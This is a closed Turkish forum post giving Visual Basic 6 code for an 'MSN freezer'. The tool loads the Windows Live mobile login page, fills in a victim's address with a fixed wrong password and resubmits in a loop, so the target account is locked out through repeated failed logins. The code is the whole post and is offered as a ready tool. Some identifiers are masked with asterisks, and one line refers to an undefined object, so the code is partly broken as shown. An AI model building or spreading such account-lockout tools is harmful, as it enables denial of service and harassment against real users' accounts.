• Üyelik paylaşımı yasaktır! Hesabınızı başkalarına vermeyin! Hesap paylaşımları yasaklama ile sonuçlanacaktır.

Msn freezer yapımı

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

ByClxon

Süper Üye
Katılım
7 Ocak 2016
Mesajlar
955
Beğeni Puanı
4
Yaş
22
[font='Titillium Web', sans-serif]COMPENENTLER[/FONT]

[font='Titillium Web', sans-serif]1 tane progressbar [/FONT]
[font='Titillium Web', sans-serif]2 adet label [/FONT]
[font='Titillium Web', sans-serif]2 adet commandbutton [/FONT]
[font='Titillium Web', sans-serif]1 adet textbox [/FONT]
[font='Titillium Web', sans-serif]1 adet webbrowser [/FONT]

[font='Titillium Web', sans-serif]KODLAR[/FONT]




[font='Titillium Web', sans-serif]Private Sub Command1_Click()[/FONT]
[font='Titillium Web', sans-serif]WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")[/FONT]
[font='Titillium Web', sans-serif]Label1.Caption = "Donduruluyor..."[/FONT]
[font='Titillium Web', sans-serif]End Sub[/FONT]

[font='Titillium Web', sans-serif]Private Sub Command2_Click()[/FONT]
[font='Titillium Web', sans-serif]WebBrowser1.Navigate ("")[/FONT]
[font='Titillium Web', sans-serif]WebBrowser1.Stop[/FONT]
[font='Titillium Web', sans-serif]ProgressBar1.Value = "0"[/FONT]
[font='Titillium Web', sans-serif]Label1.Caption = "Hazır..."[/FONT]
[font='Titillium Web', sans-serif]Text1.Text = "Dondurulacak msn adresini buraya yazınız..."[/FONT]
[font='Titillium Web', sans-serif]End Sub[/FONT]

[font='Titillium Web', sans-serif]Private Sub Form_Load()[/FONT]

[font='Titillium Web', sans-serif]End Sub[/FONT]

[font='Titillium Web', sans-serif]Private Sub WebBrowser1_********Complete(ByVal pDisp As Object, URL As Variant)[/FONT]
[font='Titillium Web', sans-serif]On Error Resume Next[/FONT]
[font='Titillium Web', sans-serif]ProgressBar1.Value = "100"[/FONT]
[font='Titillium Web', sans-serif]Label1.Caption = "Donduruldu !"[/FONT]
[font='Titillium Web', sans-serif]Dim Data As String[/FONT]
[font='Titillium Web', sans-serif]Data = w.********.body.innerhtml[/FONT]
[font='Titillium Web', sans-serif]WebBrowser1.********.All("LoginTextBox").Value = Text1.Text[/FONT]
[font='Titillium Web', sans-serif]WebBrowser1.********.All("PasswordTextBox").Value = ";erkesoft"[/FONT]
[font='Titillium Web', sans-serif]WebBrowser1.********.All("PasswordSubmit").Click[/FONT]
[font='Titillium Web', sans-serif]If InStr(Data, "Sign in failed.") Then[/FONT]
[font='Titillium Web', sans-serif]MsgBox "Donduruldu !"[/FONT]
[font='Titillium Web', sans-serif]End If[/FONT]
[font='Titillium Web', sans-serif]WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")[/FONT]
[font='Titillium Web', sans-serif]End Sub[/FONT]
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...


Üst Alt